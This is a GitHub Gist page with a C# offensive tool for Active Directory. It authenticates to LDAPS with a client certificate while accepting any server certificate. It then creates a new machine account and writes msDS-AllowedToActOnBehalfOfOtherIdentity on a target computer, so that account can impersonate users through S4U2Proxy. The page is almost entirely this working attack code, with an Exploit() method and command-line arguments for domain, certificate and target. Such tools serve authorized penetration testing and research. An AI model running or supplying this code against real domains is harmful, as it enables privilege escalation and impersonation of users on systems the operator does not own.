Last active
August 19, 2023 05:03
-
-
Save wh0amitz/8d619ee2004d323bf9d4ec3c66751a4e to your computer and use it in GitHub Desktop.
Pass The Certificate to LDAPS when PKINIT Padata is "NOSUPP"
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Net; | |
using System.Text; | |
using System.DirectoryServices; | |
using System.Text.RegularExpressions; | |
using System.Security.Principal; | |
using System.Security.AccessControl; | |
using System.DirectoryServices.Protocols; | |
using System.Security.Cryptography.X509Certificates; | |
namespace PassTheCertificate | |
{ | |
internal class AllowedToAct | |
{ | |
public LdapConnection connection; | |
public string Domain; | |
public string Server; | |
public int PortNumber; | |
public string CertPath; | |
public string CertPassword; | |
public string MachineAccount; | |
public string MachinePassword; | |
public string TargetMachineDN; | |
public string RootDN; | |
public AllowedToAct(string Domain, string Server, int PortNumber, string CertPath, string CertPassword, string MachineAccount, string MachinePassword, string TargetMachineDN) | |
{ | |
if (String.IsNullOrEmpty(Domain)) | |
{ | |
System.DirectoryServices.ActiveDirectory.Domain domain = System.DirectoryServices.ActiveDirectory.Domain.GetComputerDomain(); | |
this.Domain = domain.Name.ToLower(); | |
this.Server = domain.PdcRoleOwner.Name; | |
} | |
else | |
{ | |
this.Domain = Domain; | |
this.Server = Server; | |
} | |
Console.WriteLine($"[*] Get the domain name: {this.Domain}."); | |
Console.WriteLine($"[*] Get the domain controller: {this.Server}."); | |
foreach (string DC in this.Domain.Split('.')) | |
{ | |
this.RootDN += ",DC=" + DC; | |
} | |
this.RootDN = this.RootDN.TrimStart(','); | |
this.PortNumber = PortNumber; | |
this.CertPath = CertPath; | |
this.CertPassword = CertPassword; | |
this.MachineAccount = MachineAccount; | |
this.MachinePassword = MachinePassword; | |
this.TargetMachineDN = TargetMachineDN; | |
ActiveDirectoryConnection(this.Server, this.PortNumber); | |
} | |
public bool VerifyServerCertificateCallback(LdapConnection connection, X509Certificate certificate) | |
{ | |
return true; | |
} | |
public void ActiveDirectoryConnection(string Server, int PortNumber) | |
{ | |
LdapDirectoryIdentifier identifier = new LdapDirectoryIdentifier(Server, PortNumber); | |
LdapConnection connection = new LdapConnection(identifier); | |
if (!String.IsNullOrEmpty(this.CertPath) && !String.IsNullOrEmpty(this.CertPassword)) | |
{ | |
X509Certificate2 certificate = new X509Certificate2(this.CertPath, this.CertPassword, X509KeyStorageFlags.Exportable); | |
connection.ClientCertificates.Add(certificate); | |
connection.SessionOptions.VerifyServerCertificate = VerifyServerCertificateCallback; | |
connection.SessionOptions.SecureSocketLayer = true; | |
} | |
if (connection != null) | |
{ | |
this.connection = connection; | |
Console.WriteLine("[*] Established connection to Active Directory."); | |
// # 1.3.6.1.4.1.4203.1.11.3 = OID for LDAP_SERVER_WHO_AM_I_OID (see MS-ADTS 3.1.1.3.4.2 LDAP Extended Operations) | |
// https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/faf0b8c6-8c59-439f-ac62-dc4c078ed715 | |
ExtendedRequest extendedRequest = new ExtendedRequest("1.3.6.1.4.1.4203.1.11.3"); | |
try | |
{ | |
ExtendedResponse extendedResponse = (ExtendedResponse)this.connection.SendRequest(extendedRequest); | |
Console.Write("[*] Operating LDAP As : "); | |
Console.WriteLine(Encoding.UTF8.GetString(extendedResponse.ResponseValue, 0, extendedResponse.ResponseValue.Length)); | |
} | |
catch (DirectoryOperationException e) | |
{ | |
Console.WriteLine(e.ToString()); | |
} | |
} | |
} | |
public SearchResultEntryCollection GetSearchResultEntries(string DistinguishedName, string ldapFilter, System.DirectoryServices.Protocols.SearchScope searchScope, string[] attributeList) | |
{ | |
SearchRequest searchRequest = new SearchRequest(DistinguishedName, ldapFilter, searchScope, attributeList); | |
// The SecurityDescriptorFlagControl class is used to pass flags to the server to control various security descriptor behaviors. | |
searchRequest.Controls.Add(new SecurityDescriptorFlagControl(System.DirectoryServices.Protocols.SecurityMasks.Dacl)); | |
SearchResponse searchResponse = (SearchResponse)this.connection.SendRequest(searchRequest); | |
return searchResponse.Entries; | |
} | |
public SecurityIdentifier AddComputer(string DomainName, string DistinguishedName, string MachineAccount, string MachinePassword) | |
{ | |
SecurityIdentifier securityIdentifier = null; | |
// Adds an entry to the CN=Computers directory | |
AddRequest addRequest = new AddRequest(DistinguishedName, new DirectoryAttribute[] { | |
new DirectoryAttribute("DnsHostName", MachineAccount + "." + DomainName), | |
new DirectoryAttribute("SamAccountName", MachineAccount + "$"), | |
new DirectoryAttribute("userAccountControl", "4096"), | |
new DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + MachinePassword + "\"")), | |
new DirectoryAttribute("objectClass", "Computer"), | |
new DirectoryAttribute("ServicePrincipalName", "HOST/" + MachineAccount + "." + DomainName, "RestrictedKrbHost/" + MachineAccount + "." + DomainName, "HOST/" + MachineAccount, "RestrictedKrbHost/" + MachineAccount) | |
}); | |
try | |
{ | |
this.connection.SendRequest(addRequest); | |
Console.WriteLine($"[*] Machine account {MachineAccount}$ added."); | |
} | |
catch (Exception ex) | |
{ | |
Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-MachineAccountQuota limit."); | |
} | |
// Get SID of the new computer object | |
SearchResultEntryCollection Entries = GetSearchResultEntries(DistinguishedName, "(&(samAccountType=805306369)(|(name=" + MachineAccount + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null); | |
foreach (SearchResultEntry entry in Entries) | |
{ | |
try | |
{ | |
securityIdentifier = new SecurityIdentifier(entry.Attributes["objectSid"][0] as byte[], 0); | |
Console.WriteLine($"[*] Sid of the new machine account: {securityIdentifier.Value}."); | |
} | |
catch | |
{ | |
Console.WriteLine("[-] Can not retrieve the sid."); | |
} | |
} | |
return securityIdentifier; | |
} | |
public void Exploit() | |
{ | |
string NewMachineDN = $"CN={this.MachineAccount},CN=Computers," + this.RootDN; | |
SecurityIdentifier securityIdentifier = AddComputer(this.Domain, NewMachineDN, this.MachineAccount, this.MachinePassword); | |
string nTSecurityDescriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + securityIdentifier + ")"; | |
RawSecurityDescriptor rawSecurityIdentifier = new RawSecurityDescriptor(nTSecurityDescriptor); | |
byte[] DescriptorBuffer = new byte[rawSecurityIdentifier.BinaryLength]; | |
rawSecurityIdentifier.GetBinaryForm(DescriptorBuffer, 0); | |
ModifyRequest modifyRequest = new ModifyRequest(this.TargetMachineDN, DirectoryAttributeOperation.Replace, "msDS-AllowedToActOnBehalfOfOtherIdentity", DescriptorBuffer); | |
try | |
{ | |
ModifyResponse modifyResponse = (ModifyResponse) this.connection.SendRequest(modifyRequest); | |
Console.WriteLine($"[*] {this.MachineAccount}$ can now impersonate users on {this.TargetMachineDN} via S4U2Proxy."); | |
} | |
catch | |
{ | |
Console.WriteLine("[-] Could not modify attribute msDS-AllowedToActOnBehalfOfOtherIdentity, check that your user has sufficient rights."); | |
} | |
} | |
static void Main(string[] args) | |
{ | |
string Domain = null; | |
string Server = null; | |
int PortNumber = 636; | |
string CertPath = null; | |
string CertPassword = null; | |
string MachineAccount = null; | |
string MachinePassword = null; | |
string TargetMachineDN = null; | |
for (int i = 0; i < args.Length; i++) | |
{ | |
switch (args[i]) | |
{ | |
case "-Domain": | |
Domain = args[i + 1]; | |
break; | |
case "-Server": | |
Server = args[i + 1]; | |
break; | |
case "-PortNumber": | |
PortNumber = Convert.ToInt32(args[i + 1]); | |
break; | |
case "-CertPath": | |
CertPath = args[i + 1]; | |
break; | |
case "-CertPassword": | |
CertPassword = args[i + 1]; | |
break; | |
case "-Target": | |
TargetMachineDN = args[i + 1].TrimEnd('$'); | |
break; | |
case "-MachineAccount": | |
MachineAccount = args[i + 1].TrimEnd('$'); | |
break; | |
case "-MachinePassword": | |
MachinePassword = args[i + 1]; | |
break; | |
} | |
} | |
AllowedToAct allowedToAct = new AllowedToAct(Domain, Server, PortNumber, CertPath, CertPassword, MachineAccount, MachinePassword, TargetMachineDN); | |
allowedToAct.Exploit(); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment